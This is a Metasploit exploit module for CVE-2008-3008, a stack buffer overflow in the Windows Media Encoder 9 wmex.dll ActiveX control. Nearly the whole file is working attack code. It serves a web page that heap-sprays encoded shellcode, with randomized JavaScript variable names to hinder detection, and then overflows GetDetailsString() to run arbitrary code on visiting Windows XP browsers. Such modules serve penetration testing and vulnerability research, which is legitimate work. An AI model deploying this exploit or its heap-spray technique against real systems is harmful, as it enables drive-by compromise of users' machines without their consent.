##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Windows Media Encoder 9. When
        sending an overly long string to the GetDetailsString() method of wmex.dll
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2008-3008' ],
          [ 'OSVDB', '47962' ],
          [ 'BID', '31065' ],
          [ 'MSB', 'MS08-053' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP2-SP3 IE 6.0 SP0-SP2', { 'Ret' => 0x0C0C0C0C } ]
        ],
      'DisclosureDate' => 'Sep 9 2008',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret     = Rex::Text.to_unescape([target.ret].pack('V'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    content = %Q|
    <html>
      <object id='#{vname}' classid='clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C'></object>
      <script language="JavaScript">
      var #{rand1} = unescape('#{shellcode}');
      var #{randnop} = "#{nops}";
      var #{rand2} = unescape(#{randnop});
      var #{rand3} = 20;
      var #{rand4} = #{rand3} + #{rand1}.length;
      while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
      var #{rand5} = #{rand2}.substring(0,#{rand4});
      var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
      while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
      var #{rand7} = new Array();
      for (#{var_i} = 0; #{var_i} < 600; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
      var #{rand8} = "";
      for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
      #{vname}.GetDetailsString(#{rand8}, 1);
      </script>
    </html>
      |

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
